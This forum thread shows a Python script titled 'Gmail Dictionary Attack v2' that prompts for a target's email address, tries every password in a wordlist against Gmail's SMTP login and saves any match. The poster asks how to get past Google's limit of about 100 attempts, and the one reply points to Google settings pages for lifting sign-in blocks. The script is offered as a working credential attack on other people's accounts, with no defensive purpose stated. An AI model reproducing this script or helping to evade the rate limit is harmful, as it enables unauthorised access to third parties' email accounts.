Forum Thread: Can We Bypass Gmail's 100 Tries? PYTHON

#I HAVE THIS CODE BUT ONCE I RUN I ONLY GET TO TRY THE FIRST 100 PASSWORDS ONLY, AND THEN THE PROGRAM SHUTSDOWN

# Program: Gmail Dictionary Attack v2
# Author: RiseX
# Purpose: Brute force smtp.gmail.com using a dictionary attack over TLS.

import smtplib
import pathlib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = input("Enter the target's email address: ")
pathlib.Path("email.txt").write_text("%s" % user)
passwfile = input("Enter the password file name: ")
passwfile = open(passwfile, "r")

for password in passwfile:
try:
smtpserver.login(user, password)
print("+ Password Found: %s" % password)
pathlib.Path("password.txt").write_text("The pass is %s" % password)
exit()

except smtplib.SMTPAuthenticationError:
print("! Password Incorrect: %s" % password)

1 Response

If an app or website doesn't meet Goole's security standards, Google might block anyone who's trying to sign in to your account from it. So, SMTPAuthenticationError exception thrown when you attempt to login to Gmail via Python smtp library. Less secure apps can make it easier for hackers to get in to your account, so blocking sign-ins from these apps helps keep your account safe.

Go to this link and select Turn On
google.com/settings/security/lesssecureapps

Moreover google block an ip when you try to send a email since a unusual location, so, you can unblock in the next link
support.google.com/accounts/answer/6009563

and clicked in

accounts.google.com/DisplayUnlockCaptcha .

Share Your Thoughts

  • Hot
  • Active